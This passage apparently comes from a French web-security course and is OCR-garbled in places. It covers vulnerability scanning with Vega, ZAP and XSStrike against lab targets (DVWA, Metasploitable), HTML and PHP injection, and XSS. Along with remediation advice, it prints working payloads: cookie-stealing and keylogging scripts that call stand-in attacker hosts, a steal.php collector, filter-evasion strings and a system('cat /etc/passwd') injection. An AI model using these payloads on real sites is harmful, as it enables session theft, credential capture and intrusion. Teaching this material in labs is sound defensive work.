tomcat55:x:110:65534: : /usr/share/tomcat5.5: /bin/false
distced:x:111:65534::/: /bin/false ) &L . s
user:x:1601:1001:just a user,111,,:/home/user: /bin/bash | afflchage du fichier
service:x:1002:1002:, ,, : /home/service: /bin/bash

telnetd:x:112:120: : /nonexistent: /bin/false letc/passwd
proftpd:x:113:65534: : /var/run/proftpd: /bin/false

statd:x:114:65534:: /var/Lib/nfs:/bin/false
snmp:x:115:65534: : /var/Llib/snmp: /bin/false
Server: 62.197.111.140

Address: 62.197.111.140#53

** server can't find ZAP: NXDOMAIN

OO
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Un scanner de vulnérabilités d’applications web : VEGA

Le scanner d’applications web Vega est un scanner de vulnérabilités, opensource et

gratuit. Il est trés simple a utiliser :

@ subgraph Vega = a X

File Scan Window Help

‘QA0A © Scanner | & Proxy

@ Website View =il m =i
eo®l @B 5

@ veGA

Osannletsy OO &EE O Scan Alert Summary

O High
© Medium
[
oy v
28 Identities 53 | s -0
: =] % | @ Proxy is not running [ |57M°'Z“M ,n_ll!.l

Je spécifie I'adresse IP d’une machine Metasploitable :

@ o X

Select a Scan Target

Choose a target for new scan @ VEGA

Scan Target
(® Enter a base URI for scan:

[ 192.168.56.102)

(O Choose a target scope for scan

Default Scope ~ | Edit Scopes

Web Model

Include previously discovered paths from Web model

<Back | Net> [ Fnsh || Cancel
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Le scan de la machine vulnérable se lance :

http://192.168.56.102/icons/pieb.png

56 out of 461 scanned (12.1%)

Aprés 45 minutes, le scan n’est toujours pas terminé mais donne déja des résultats

alarmants :

/5:

Scan Alert Summary

© High

Cross Site Scripting
Local File Include
SQL Injection

© Medium

PHP Error Detected
URL Injection

O Low

© Info

Possible AJAX code

Session Cookie Without Secure Flag
Session Cookie Without HttpOnly Flag
Cleartext Password over HTTP

Bash "ShellShock" Injection

i T it i

Local Filesystem Paths Found 45
HTTP Trace Support Detected 1

40

Possible Source Code Disclosure 1

Form Password Field with Autocomplete Enabled 3
Directory Listing Detected 22
Internal Addresses Found 12

Character Set Not Specified 29
Cookie HttpOnly Flag Not Set
Form File Upload Detected
Blank Body Detected

HTTP Error Detected

- ko) B

detected

(40 found)

(95 found)

(37 found)

(50 found)

OO
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/6:

En cliquant sur les vulnérabilités trouvées, on peut obtenir plus de renseignements :

Local File Include

P AT A GLANCE
Classification Access Validation Error
Resource Imutillidae/index.php
Parameter page
Method GET
Risk High|

P REQUEST

GET /mutillidae/index.php?page=/../.J.J.J. . .01 Jetcipasswd

P DISCUSSION

Local file include is a type of vulnerability that occurs when the web application uses externally-supplied input to specify
the location of a resource that it is requesting from the local filesystem. The vulnerability often manifests itself when
malicious users embed path parts such as "./" (on UNIX systems) to refer to resources relative to a parent directory.
This is commonly known as a "directory traversal” or "path traversal” vulnerability as the application uses the externally-
supplied input to construct the path to the local filesystem resource. However, other variations exist that may allow an
attacker to request the file by an absolute path or otherwise request files that were notintended to be exposed to users
of the web application.

P IMPACT

>> Vega has detected a local file include vulnerability.

> Local file include attacks may allow for unauthorized access to files on the local server, including files
outside of the webroot.

> This could aid in an attacker obtaining unauthorized access to the server.

P REMEDIATION

> To prevent this type of vulnerability, the developer should canonicalize the path of any filesystem resource
that has a path composed of extenally-supplied input and then perform an authorization check prior to
access.

> The realpath() library call will return the canonical path of the resource. It is implemented in PHP, Perl, and
Python.

> For Ruby frameworks, File_.expand_path can be used.

»> GetFullPath() can be used on ASP.NET applications.

> getCanonicalPath() can be used in Java code.

>> Additional protection against unauthorized access to filesystem resources can be obtained by using
chroot() or similar mechanisms to limit filesystem access to the web application and http server process,
although this can be difficult to manage.
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Le scanner Vega peut étre téléchargé a la page :

https://subgraph.com/vegal/index.fr.html

NOTE SUR LES SCANNERS DE VULNERABILITES

SCAN PASSIF

= le scanner analyse uniquement le trafic intercepté sur le réseau sans interagir
avec la cible.
=>» Ce type de scan est peu efficace mais sera utilisé s'il est risqué d’utiliser un scan

actif.

SCAN ACTIF

= Le scanner analyse les réponses aux sondes (probes) envoyées a la cible.
= Ce type de scan consomme de la bande passante et des ressources du

processeur

7

Fonctionne avec ou sans authentification.

=> Ce type de scan est plus efficace que le précédent.
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/8;

Les scanners en ligne avec https://hackertarget.com/

Le site mentionné ci-dessus permet de faire facilement des scans en ligne (nmap, whatweb,

wordpress, openVAS, nikto, ...).
Ce service est pratique et peut faire gagner du temps lors d’un test d’intrusion.

Le service colte 120$ a 600$ par an selon la formule choisie.

4

HACKER TARGET SCANNERS TOOLS RESEARCH SERVICES ABOUT () PRICING LOG IN

Nmap Port Scanner OpenVAS Vulnerability Scanner Zmap Fast Network Scan

Nikto Web Scanner SharePoint Security Scan

Joomla Security Scan Drupal Security Scan

SSL Scan Domain Profiler Server Info

FREE Info
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Injection de code HTML

L’injection HTML n’est pas véritablement critique, mais est trés simple a réaliser. Pour savoir
si une injection HTML est possible, il suffit d’injecter par exemple le code suivant, via un

formulaire, dans la page potentiellement vulnérable :
<h1><i> HTML </i></h1>

Le mot HTML doit alors s’afficher sur la page vulnérable en niveau de titre h1 et en italique !

Deux exemples d’injection HTML

Injection d’une redirection

Il suffit d’injecter le code HTML suivant pour réaliser une redirection aprés 5 secondes :
<meta http-equiv="refresh" content="5 ; URL=https://google.com" />

Pour une redirection immédiate, on remplace le 5 par 0.

Injection avancée

Soit le lien suivant dans une page :

<a onclick="document.location.href="https://site.fr' ; "> RETOUR </a>

Ce lien redirige vers la page naviguée précédemment (ici : https://site.fr), information qui
provient de I'en-téte HTTP Referer :

Referer: https://site.fr

Il suffit alors d’injecter avec Burp a la fin du Referer le code suivant pour afficher un
message sur la page vulnérable a la place du lien :
"> </a> <h1> HACKED ! </h1>

L’en-téte referer devient donc :
Referer: https://site.fr" > </a> <h1> HACKED ! </h1>
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Injection de code PHP

Soit la page https://mon-site.net/display.php?message=salut, qui donnerait un affichage

semblable a ceci :

an extremely buggy web app !

Bugs Change Password Create User Set Security Level

/ PHP Code Injection /

This is just a test page, reflecting back your message...

- salut

Tentons une injection de code PHP avec 'URL suivante :

https://mon-site.net/display.php?message=salut;system("uname -a")

U

/ PHP Code Injection /

This is just a test page, reflecting back your message..

salutLinux owaspbwa 2.6.32-25-generic-pae #44-Ubuntu SMP Fri Sep 17 21:57:48 UTC 2010 i686 GNU/Linux

Une autre injection intéressante serait :

https://mon-site.net/display.php?message=salut;system("cat /etc/passwd")
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Vulnérabilités web XSS (Cross-Site Scripting)

SECURITY

-

Une vulnérabilité XSS : k I gK

e Permet au hacker d’injecter du code HTML ou JavaScript dans une page web.

e Ce code est exécuté lorsque la page se charge.

o Ce code est exécuté sur I'ordinateur client, pas sur le serveur.

Les trois types de XSS

Une donnée non fiable est envoyée au serveur et est
XSS réfléchi ou non persistant immédiatement renvoyée a I'utilisateur dans une page
web dynamique.

Dans ce type de XSS, le code est enregistré dans une
XSS stocké ou persistant base de données, c6té serveur et sera répercuté a tous
les visiteurs du site concerné.

Dans ce type de XSS, le code ne passe pas par le
XSS basé sur le DOM serveur. Les protections coté serveur sont donc
totalement impuissantes.

L’injection de JavaScript peut se faire :

¢ Dans un champ de formulaire
¢ Dans un paramétre d’'URL (exemple : www.mon-site.com/page.php?var=valeur,

"valeur" pouvant étre remplacé par du code)

Le code injecté est, par exemple : <script>alert("XSS") ;</script>
Pour lutter contre cette vulnérabilité, il faut valider les inputs. Par exemple :

e On peut filtrer et bannir les guillemets

e On peut filtrer et bannir le mot "script" en minuscule

e On peut filtrer et bannir le mot "script™ quelle que soit la casse
o Etc.

On peut aussi encoder les outputs.
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L’attaque XSS réfléchie (Reflected Cross-Site Scripting)

Le hacker découvre
une faille XSS dans
un site et intégre un

de l'utilisateur dans
un lien hypertexte
vers ce site.

Le hacker envoye le
lien a sa victime dans
un mail.

(2]

®

script malicieux

permettant la e————

visualisation du Hacker )

cookie de session Site web

(5

Le navigateur envoie le
cookie de session au hacker
ce qui lui autorise l'acces au
compte de la victime sur le
site vulnérable sans devoir
s'authentifier.

L]

Internaute

Le script est renvoyé au
navigateur de la victime
dans une page
dynamique.

La victime clique sur le lien
en apparence anodin.

L’attaque XSS stockée (Stored Cross-Site Scripting)

Le hacker découvre
une faille XSS dans
un site Web. Cette
faille autorise une
injection de script.

Le hacker injecte dans le
site un script malicieux qui

vole, par exemple, le
cookie de session des
visiteurs.

2

®

[ = ]
Hacker

L5

Le cookie de session de
chacun des visiteurs est
envoyé au hacker qui peut
des lors avoir acces au
compte de la victime sans
devoir s'authentifier.

4
]

Site web

L]

|
Internaute

Chaque visiteur du site
active le script malicieux.

@

Le script malicieux
est enregistré dans
la base de données.
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L’attaque XSS basée sur le DOM (DOM-based Cross-Site Scripting)

http://site.net?recherche=<script>xxx</script>

ATTAQUANT : http://hack3r.fr

Ce lien devrait t'intéresser : Récupération du cookie de session :

NAVIGATEUR DE LA VICTIME

Réponse du site web a la victime aprés manipulation du DOM

<html>

Vous recherchez : <b> <script> xxx </script> </b> -
<script>

var recherche = location.search.substring(11);
document.querySelector('b’).innerHTML = recherche;
</script>

</htm|>

Réponse du site web a la victime

<html|>
Vous recherchez : <b> </b>
<script>

var recherche = location.search.substring(11);
document.querySelector('b’).innerHTML = recherche;
<Iscript>

</html>

http://site.net?recherche=<script>xxx</script> 9 1 T 9 m

SITE WEB

Script de réponse du site web

print "<htmI>"
print " Vous recherchez : <b> </b>"

print "<script>"

print " var recherche = location.search.substring(11);"

print " document.querySelector('b’).innerHTML = recherche;"
print "</script>"

print "</html>"

GET http://hack3r.fr?cookie=DATA
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Buts d’une attaque XSS

o Voler les cookies de session pour usurper votre session sur un site web

e Prendre le controle du navigateur (par exemple le rediriger, ...)

o Exécuter toute action pour laquelle vous avez une autorisation

e Lire les données auxquelles vous avez acces

o Réécrire ala volée tous les liens de la page visitée

e Capturer la frappe (keylogging)

¢ Obtenir une session meterpreter avec BeEF (via une faille dans un plugin du
navigateur)

o Effectuer un défacement du site web (manipulation du DOM)

¢ Insérer du contenu (avec la balise <iframe>)

Exemple de XSS

Soit le code PHP suivant : <?= 'Hello .$_GET['name']."!"; ?>

Soit 'URL suivante : http://victime.site.net/welcome.php?name=max

Il suffit, pour faire une attaque XSS (si le site est vulnérable) de taper :
http:/lvictime.site.net/welcome.php?name=<script>alert("XSS !");</script>

ou mieux encore, en utilisant un encodeur d’URL (pour masquer le code malicieux) :

http:/lvictime.site.net/welcome.php?name=

%3Cscript%3Ealert(%22XSS%20!%22)%3B%3C%2F script%3E

Vol de cookie de session

<script>fetch('https://hacker.net/steal?cookie=" + btoa(document.cookie));</script>

La méthode btoa() encode une chaine en base-64. La méthode atob() fait I'inverse et

décode une chaine encodée en base-64.
(btoa = "binary to ASCII" et atob() = "ASCII to binary")

La méthode btoa() permet donc d’éviter les erreurs lors de I’envoi (problémes éventuels
avec certains caractéres spéciaux) et méme d’éviter d’avoir ces caractéres (;, = @, #,

espaces) filtrés par un WAF ou IDS/IPS.
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Autre exemple de code pour le vol de cookie de session

Exemple de script :

<script> var i=new Images();
i.src=http://hack3r.site.net/steal.php?g=+escape(document.cookie); </script>

Ou, avec un encodeur d’URL :

%3Cscript%3E%20var%20i%3Dnew%20lmages()%3B%20i.src%3Dhttp%3A%
2F%2Fhack3r.site.net%2Fsteal.php%3Fq%3D%2Bescape(document.cookie)
%3B%20%3C%2Fscript%3E

Le script PHP (steal.php) qui récupérera les cookies sur le serveur du pirate

ressemblera a :

$fn = "log.txt" ;

$fh = fopen($fn, 'a’) ;

$cookie = $_GET['q'];

$ip = $_SERVER['REMOTE_ADDR'] ;
fwrite($fh, $ip." \n") ;

fwrite($fh, $cookie.” \n\n") ;
fclose($fh) ;

XSS utilisé pour réécrire a la volée tous les liens de la page visitée

Exemple de script :

<script> var anchors=document.getElementsByTagName("a");for (var

i=0;i<anchors.length;i++){anchors]i].href="https://hack3r.site.net";}</script>

XSS utilisé pour un phishing
Le moyen le plus simple de perpétrer une attaque par phishing consiste a modifier le

paramétre ACTION d’un formulaire.
Exemple de formulaire :
<form name = "login" method = "POST" action = "/checklogin.cgi"> (...)
L’attaque ressemblera a :
document.form[0].action="https://hack3r.site.net/steal.php" ;

Le SSL n’est ici d’aucune utilité et ne protégera pas la victime.
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XSS utilisé pour insérer du contenu

Exemple : <iframe src=http://mon-site.net height="200" width="400" ></iframe>

XSS utilisé pour rediriger une page

Exemple : <script> window.location="https://google.com" </script>

CONTOURNEMENT DES FILTRES

Pour bypasser les filtres qui protégent contre le XSS, on peut utiliser les techniques

suivantes :

o Utiliser un "charcode calculator”

¢ Mélanger les minuscules et majuscules dans I’écriture des balises <script>

o Remplacer les guillemets par leur équivalent HTML : &quot;

o Remplacer les balises <script> par d’autres balises : <img>, <table>, <div>, ...

¢ Introduire le code dans les attributs d’une balise <img>

Ces techniques d’évasion permettent de remplacer le code classique ci-dessous :

<script>alert("XSS") ;</script> par les codes suivants :

[ <script> alert(String.fromCharCode(88,83,83))>/script>

<ScRipT>alert('XSS")</ScRipT> La méthode JavaScript

String.fromCharCode()
renvoie une chaine de

<img src="javascript:alert('XSS");">

<img src=javascript:alert(&quot;XSS&quot;)> caractéres créée a partir
de points de code UTF-16.

<img src=# onmouseover="alert('XSS")">

<img src=/ onerror="alert(String.fromCharCode(88,83,83))"></img>

—» < <img src="jav&#x09;ascript:alert('XSS’);">

<table background="javascript:alert("XSS")">

<div style="background-image: url(javascript:alert("XSS'))">
<iframe src="javascript:alert("XSS")">

<embed src="javascript:alert('XSS')">

<svg onload="alert("XSS")">

L <body onload=alert('XSS")>
Pour en savoir plus, je vous conseille de consulter :

https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet
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XSS utilisé pour enregistrer la frappe au clavier (keylogger)
<script>
document.onkeypress = function(e) {
fetch('https://hacker.net/log?key="' + btoa(e.key) );
}

</script>

COMMENT LUTTER CONTRE XSS ?

< devient &lt;
ENCODAGE > devient &gt;

FILTRAGE <script> devient script

VALIDATION Comparaison de I'input avec une liste blanche

} Combinaison de I’échappement, du filtrage et de
DESINFECTION (SANITIZATION)
la validation.

Charges utiles XSS inhabituelles

<img src=x
onerror="&#0000106&#00000978#0000118&#0000097&#00001158#0000099&#0000114&%#
0000105&#0000112&#0000116&#0000058&+#0000097&#0000108&#0000101&#0000114&+#00
00116&#0000040&#0000039&#0000088&#0000083&#0000083&#0000039&#0000041">

<IMG SRC=/ onerror="alert(String.fromCharCode(88,83,83))"></img>

<embed src="data:text/html;base64,PHNjcmIlwdD5hbGVydCgiWFNTIik8L3NjcmiwdD4=">

<video src=1 onerror=alert("XSS")>

<audio src=1 onerror=alert("XSS")>

<svg onload=alert("XSS")>

<span onmouseover="alert("XSS')" style=display:block>test</span>
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XSS : vol et récupération d’'un cookie

Si je me sers de linput suivant (en remplissant le champ d’un formulaire
vulnérable) :
<script> window.location = "http://192.168.56.110/cookie.php?var =’ +

document.cookie </script>

...je pourrai voler le cookie de session via une faille XSS et il me sera ensuite

possible de récupérer le cookie de deux maniéres :

Via la variable PHP $_GET['var’], dans un script PHP

2. Via netcat, en créant un listener sur le port 80 sur la machine de I'attaquant,
avec la commande nc -lvp 80. On peut utiliser un autre port : il faut alors le
spécifier clairement dans le script ci-dessus
(...windows.location="http://192.168.56.110:<PORT>/cookie.php?var="...)

rootakali:~# nc -lvp 80

listening on [any] 80

connect to [192.168.56.110] from kali [192.168.56.110] 60756

GET /cookie.php?var=security=1ow;%20PHPSESSID=b5d0c5a238453af76bc87a7f3272c3ca HTTP/1.1
Host: 192.168.56.110

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,%/%;q=0.8

Accept-Language: fr,fr-FR;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate

Referer: http://192.168.56.102/

DNT: 1

Connection: keep-alive

Upgrade-Insecure-Requests: 1

Le cookie est sur cette ligne
(security=low;%20PHPSESSID=b5d0...c3ca)
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XSS : récupérer plus simplement un cookie

Procédure :

Avec Python 3, on remplace SimpleHTTPServer par :

= On lance un serveur web (Python 2) :
python -m SimpleHTTPServer 4567

python -m http.server --bind <IP> <PORT>

root® kali) - | /home/kali/Desktop
Z l # python -m SimpleHTTPServer 4567

° Serving HTTP on 0.0.0.0 port 4567

= On tape la commande suivante dans le formulaire vulnérable :
<script> document.write('<img src="http://192.168.56.249:4567/' +

document.cookie +'" >") ; </script>

Serving HTTP on 0.0.0.0 port 4567 ...
192.168.56.249 - - [09/Dec/2020 04:37:55] code 404, message File not found
192.168.56.249 - - [09/Dec/2020 04:37:55] "GET

/security=low;%20PHPSESSID=p614gelhde2m9c4cul0158kd36;%20acopendivids=swingset
,jotto,phpbb2,redmine;%20acgroupswithpersist=nada HTTP/1.1" 404 -

2V

On récupeére bien le cookie de session (PHPSESSID) !

Défacement (ou défagage) d’'un site web avec XSS

(1) Voici, par exemple, deux méthodes de changer avec XSS le contenu de 'élément

dont I'attribut id vaut "title" (exemple de manipulation du DOM) :

<script>document.querySelector(‘#title').textContent="' Hacked ! ' </script>

<script>document.getElementByld('title').innerHTML=" Hacked ! ' </script>

(2) Pour remplacer tout le contenu du <body>, on pourrait en principe utiliser le code :
<script>document.getElementsByTagName("body")[0].innerHTML="Hacked !";</script>

... mais en pratique cela ne fonctionnera pas dans ce cas précis car il faut placer les codes
ci-dessus apreés la fermeture des balises concernées. On ne peut sélectionner un élément
qu’une fois celui-ci défini ! Il est peu envisageable q’un XSS permette de placer son code

apreés le </body>!1!
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Découvrir automatiquement des failles XSS avec XSStrike

XSStrike se télécharge a I’adresse :
https://github.com/sOmd3v/XSStrike

Aprés I'avoir installé sur une machine virtuelle Kali, vous pouvez ouvrir le navigateur a
’'adresse de DVWA (par exemple sur Metasploitable 2 : 192.168.56.137), vous vous
connectez avec les identifiants admin/password et vous réglez la securité au niveau

Medium. Avec les outils du développeur du navigateur, vous copiez ensuite le contenu

du cookie de session pour I'utiliser avec XSStrike :

Je visite maintenant la page de DVWA consacrée au XSS réfléchi :

Vulnerability: Reflected Cross Site Scripting (XSS)

Home [

Instructions ’

Setup ’ What's your name? J s |
‘\7Submiti > € soumets le nom max
Brute Force
Hello max <

Command Execution -

CSRF

File Inclusion More info

SQL Injection

SQL Injection (Blind)
Upload

XSS stored

L’URL ressemble alors a ceci :

O A& 192.168.56.137
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Je lance alors la commande suivante, qui contient le cookie emprunté a DVWA :

python xsstrike.py -u http://192.168.56.137/dvwalvulnerabilities/xss_r/?name=query --headers
"Cookie: security=medium; PHPSESSID=1fc296e6a3812c86087869a26ae2de72" --skip-dom

-[~/XSStrike
xsstrike.py ht
security=medium; P

V32125

1 WAF Status: OFflir Je m'arréte apres la
Testing parameter: name découverte de trois

| Reflections found: 1 payloads et je teste le

troisiéme, au hasard !

Analysing reflections
Generating payloads
Payloads generated: 3072

+] Payload: <D3v%0dOnmOUSEOVEr%0a=%0aconfirm()>v3dmOs
Efficiency: 100
Confidence: 10
Would you like to continue scanning? [y/N] y

] Payload: <htM1%0aonPOInteReNTER%0d=%0dconfirm()//
Efficiency: 100
Confidence: 10
Would you like to continue scanning? [y/N] y

] Efficiency: 100
Confidence: 10
Would you like to continue scanning? [y/N] n

] Payload: <hTml%@90NPOinTereNtEr%09=%09a=prompt,a()%0dx> }

~/XSStrike

Le résultat ne se fait pas attendre :

€ 192.168.56.137

1

Cancel

Nous avons bien notre PoC (Proof of Concept) !
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Découvrir automatiquement des failles XSS avec ZAP (1)

Nous allons nous servir du fuzzer de ZAP pour rechercher des vulnérabilités XSS dans
DVWA. Lancons OWASP ZAP et cliquons sur Manual Explore :

t

Automated Scan Manual Explore Learn More

Cliquons ensuite sur Launch Browser pour ouvrir le navigateur :

URL to explore: hitp://
Enable HUD: V]

Explore your application:  Launch Browser = Chrome

Connectons nous a DVWA (admin/password) et réglons la sécurité sur Medium :

N\
DVWA

[Medium v || Submit

Username

admin

Password

| Login |
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Ouvrons la page consacrée au XSS stocké et soumettons un message au guestbook :

Vulnerability: Stored Cross Site Scripting (XSS)

Name * |max

Un simple message !

Message: Mon message

Message *
%
| Sign Guestbook H Clear Guestbook

Si

Dot

Name: test =
Message: This is a test comment. Dot
Name: max Dot

Notre requéte POST est visible dans I’historique de ZAP (ici I'identifiant 52) :

= Historique ', Rechercher [ Alertes | Sortie ﬂ WebSockets &=
@ ' Filtre: OFF & Exporter
Id Source Timestamp de req. Méthode URL

32 = Proxy 4/01/23 19:56:05 GET https:/icontent-autofill.googleapis.comivi/page...
33 «=* Proxy 4/01/23 19:56:07 GET hitp:/Mocalhost/security.php
35 &= Proxy 4/01/23 19:56:07 GET https://content-autofill.googleapis.comivi/page...
36 <= Proxy 4/01/23 19:56:07 GET hitps://content-autofill.googleapis.comiv1/page...
37 «* Proxy 4/01/23 19:56:11 POST hitp:/Mocalhost/security.php
38 &= Proxy 4/01/23 19:56:11 GET http:/Mlocalhost/security.php
39 <= Proxy 4/01/23 19:56:12 GET hitps://content-autofill.googleapis.comiv1/page...
40 <= Proxy 4/01/23 19:56:12 GET hitps://content-autofill.googleapis.comiv1/page...
41 & Proxy 4/01/23 19:56:17 GET http:/Mocalhostivulnerabilities/xss_s/
44 <= Proxy 4/01/23 19:56:17 GET http:/Mocalhost/dvwaljs/add_event_listeners.js
45 &= Proxy 4/01/23 19:56:17 GET hitps://content-autofill.googleapis.comiv1/page...
46 <= Proxy 4/01/23 19:56:17 GET hitps://content-autofill.googleapis.comi1/page...
47 = Proxy 4/01/23 19:56:17 GET hitps://content-autofill.googleapis.comiv1/page...
48 &= Proxy 4/01/23 19:56:36 POST https:/lupdate.googleapis.com/service/update2...
52 &= Proxy 4/01/23 19:56:41 POST hitp:/localhostivulnerabilitiesixss_s/

Code

200

200

200

Raison
OK
oK
oK
OK
Found
oK
OK
oK
oK
OK
OK
oK
OK

RTT
104 ms
9ms
97 ms
104 ms
7ms
6ms
81ms
109 ms
46 ms
5ms
111 ms
105 ms
111 ms
125 ms
37 ms

Taille du corps de ré

112 octets
5283 octets
28 octets
112 octets

0 octets
5361 octets
28 octets
112 octets

4 926 octets
593 octets
28 octets

28 octets
112 octets
26 887 octets
5011 octets

SIOCISIC, © m@x



Introduction a la cybersécurité / Le monde du web

Contenu de la requéte POST :

En-téte: Raw View Corps: Raw View v l;l =

POST http://localhost/vulnerabilities/xss_s/ HTTP/1.1

Host: localhost

Connection: keep-alive

Content-Length: 67

Cache-Control: max-age=8

sec-ch-ua: "Not?A_Brand";v="8", "Chromium";v="188", "Google Chrome";v="188"

sec-ch-ua-mobile: 2?0

sec-ch-ua-platform: "Windows"

Upgrade-Insecure-Requests: 1

Origin: https://localhost

Content-Type: application/x-www-form-urlencoded

User-Agent: Mozilla/5.@ (Windows NT 10.8; Winb4; x64) AppleWebKit/537.36 (KHTML, like Gecko) (
Accept: text/html,application/xhtml+xml,application/xml;q=@.9,image/avif,image/webp,image/apn;
Sec-Fetch-Site: same-origin

Sec-Fetch-Mode: navigate

txtName=maximtxMessage=Un+simple+message+%21ibtnSign=Sign+Guestbook

!

Le paramétre txtName étant vulnérable, je sélectionne son contenu, je fais un clic droit

dessus et je clique sur Générer du bruit :

Rechercher... Ctrl+F

Quvrir 'URL dans le navigateur

4} Générer du bruit... -

Lancer I'application >
Invoquer avec script

) Renvovyer...
Encode/Decode/Hash...
Open URL in Browser >
Syntaxe >
Vue >

Le mot anglais fuzzer est traduit dans ZAP par générateur de bruit...
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Le fuzzer s’ouvre :

95,

Fuzz Locations Options Message Processors

En-téte: Raw View “  Corps:RawView v [ ] [ Modifier Fuzz Endroits:

Host: localhost
Connection: keep-alive

sec-ch-ua: "Not?A_Brand";v="8", "Chromium";v="188", "Google Chrome";v="188"

sec-ch-ua-platform: "Windows"

Upgrade-Insecure-Requests: 1

Origin: https://localhost

Content-Type: application/x-www-form-urlencoded

User-Agent: Mozilla/5.@ (Windows NT 1@8.8; Win64; x64) AppleWebKit/537.36 (
KHTML, like Gecko) Chrome/1088.8.8.8 Safari/537.36

Accept: text/html,application/xhtml+xml,application/xml;q=@.9,image/avif,

txtName=max:mtxMessage=Un+simple+message+%21ibtnSign=5ign+Guestbook

[] Remove Without Confirmation

Démarrer le Fuzzer Remettre 3 zéro

©

POST http://localhost/vulnerabilities/xss_s/ HTTP/1.1 Va. #o. #of B Aj
Co... max 0 0 Supprimer

Content-Length: 67
Cache-Control: max-age=@ ‘ Payloads...

sec-ch-ua-mobile: 2@
Processeurs...

Annuler

Je clique sur Payload puis sur Ajouter :

Adresse: Corps [8, 11]

Valeur: max
Payloads:
# Type Description # of Processors & Ajouter...
Modifier.
Supprimer

IZ! Remove Without Confirmation

Annuler oK

SIOCISIC, © m@x
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Je choisis ensuite le type Fichiers Fuzzers :

Q Ajouter De La Charge Utile

Type: Strings

Conter EMP/Null ,
Fichier

Fichier Fuzzers

Json

Numberzz

Regex (*Experimental*)
Script

Strings

Je clique ensuite sur jbrofuzz

Type: | Fichier Fuzzers

Fichiers: Suivant

W Ajouter De La Charge Utile X

v
Precedent

Générateurs de bruit personnalisés
dirbuster
jbrofuzz

96.

Je déroule jusqu’a I'option XSS et je décoche les options ASP .NET et MS Anti-XSS dont

nous n’avons pas besoin puis

je clique sur Ajouter :

Type: Fichier Fuzzers

Q Ajouter De La Charge Uti

Les Charges De Prévisualisation: = JSON

v

Fichiers: Suivant Précédent
[VIxss
ASP .NET validateRequest
[V]JsoN

MS Anti-XSS lib_v3.0
[V]server Side Includes
[V]URI Cross Site Scripting
[V]URL Breaking
[VIxss 101
[V]xss 102
[1XSS Embed/Evade

1: <body onload=;a2={y:eval};al={x:a2.y('al'+"'
2: <body onload=al={x:this.parent.document};al
: <body onload=;al={x:document};;;;;;;;; =al.
: <body/s/onload=x={doc:parent.document};x.dc
<body/?2?2?%/onload=x={doc:parent [document] }

W W

OO
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Je clique sur OK :

Adresse: Corps [8, 11]

Valeur: max
Payloads:
# Type Description # of Processors (8| Ajouter...
1 Fichier Fuz.. JSON, Ser... 0 Modifier.

Supprimer

97.

N Bas
(] Remove Without Confirmation
Annuler OK <=
Enfin, je clique sur Démarrer le Fuzzer :
FuzzLocations  Options  Message Processors
En-téte: Raw View “ Corps:RawView v | || [ Modifier Fuzz Endroits:

POST http://localhost/vulnerabilities/xss_s/ HTTP/1.1

Host: localhost

Connection: keep-alive

Content-Length: 67

Cache-Control: max-age=@

sec-ch-ua: "Not?A_Brand";v="8", "Chromium";v="108", "Google Chrome";v="188"
sec-ch-ua-mobile: 2@

sec-ch-ua-platform: "Windows"

Upgrade-Insecure-Requests: 1

Origin: https://localhost

Content-Type: application/x-www-form-urlencoded

User-Agent: Mozilla/5.@ (Windows NT 10.9; Win64; x64) AppleWebKit/537.36 (
KHTML, like Gecko) Chrome/1@8.8.8.@ Safari/537.36

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,

txtName=max:mtxMessage=Un+simple+message+¥%21ibtnSign=Sign+Guestbook

o )

Ajouter

Va.. #o0.. #of..®

Co.. max 140 0 Supprimer
Payloads...

Processeurs...

[] Remove Without Confirmation

Démarrer le Fuzzer Remettre a zéro Annuler

SIOCISIC,
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Les requétes 2 a 5 nous fournissent déja des payloads fonctionnels :

N générateur F ion: 0: HTTP - http:/Mocalho..bilities/xss_s/ v </ Générateurs de bruits actuels: 0
Messages Envoyés: 140 Errors: 0 Affiche E
TaskID Message Type Code Raison  RTT Taille de I'en-téte de rép.  Taille du corps ... ... Etat Charges utiles
0 Original 200 OK 37ms 356 octets 5011 octets ]
1 Fuzed 200 OK 140 ms 356 octets 5589 octets <body onload=;a2={y.eval};a1={x.a2.y(al'+ert’ X,
2 Fuzed 200 OK 62ms 356 octets 5292 octets ../ Réfiéchi <body onload=a1={xthis.parent.document};a1.x.writeln(
3 Fuzzed 200 OK 46 ms 356 octets 5152 octets ..+ Réfléchi <body onload=;a1={x.documen at.x_write(1);
4 Fuzzed 200 OK 169 ms 356 octets 5726 octets L./ Réfiéchi <body/sfonload=x={doc:parent.document};x.doc.writeln(1)
5 Fuzed 200 OK 90 ms 356 octets 5434 octets .- Réfléchi <body/????$/onload=x={doc:parentidocument]};x.doc.writeln(1)
6 Fuzed 200 OK 166 ms 355 octets 5908 octets <l-#exec cmd="/bin/echo '<SCRIPT SRC™—><I-#exec cmd="/bin/echc
7 Fuzzed 200 OK 198 ms 355 octets 6 047 octets <l-#exec cmd="/usr/X11R6/bin/xterm ?display 127.0.0.1:0 &™—=
8 Fuzzed 200 OK 201ms 355 octets 6133 octets aim: &c:windows\system32\calc.exe” ini="C:\Documents and Settings
9 Fuzzed 200 OK 181ms 355 octets 6 297 octets firefoxurl:test|"%20-new-window%20javascript alert('Cross%2520Bro
10 Fuzzed 200 OK 186 ms 355 octets 6479 octets url:test” -chrome j iptC=Components.classes;l=Comj
11 Fuzzed 200 OK 171ms 355 octets 6 634 octets res:/ic\program%20files\\adobe\\acrobat%207.0\\acrobat\acrobat.dil/
12 Fuzzed 200 OK 157 ms 355 octets 6 746 octets httP://aa"><script=alert(123)</script>
13 Fuzzed 200 OK 158 ms 355 octets 6 858 octets httP://laa=<script=alert(123)</script>
14 Fuzzed 200 OK 169 ms 355 octets 6 968 octets httP:/laa<script=alert(123)=/script=
15 Fuzed 200 OK 159 ms 355 octets 7 071 octets <script=alert(xss’)</script=

La réponse a la requéte n°2, par exemple, contient bien le payload dans son code HTML.

Nous tenons notre PoC :

En-téte: Raw View /|| Corps:RawView v | [ [

HTTP/1.1 2@ OK

Date: Wed, @4 Jan 2023 18:58:51 GMT
Server: Apache/2.4.54 (Win64) OpenSSL/1.1.1p PHP/8.1.12
X-Powered-By: PHP/8.1.12

Expires: Tue, 23 Jun 20089 12:80:08 GMT
Cache-Control: no-cache, must-revalidate
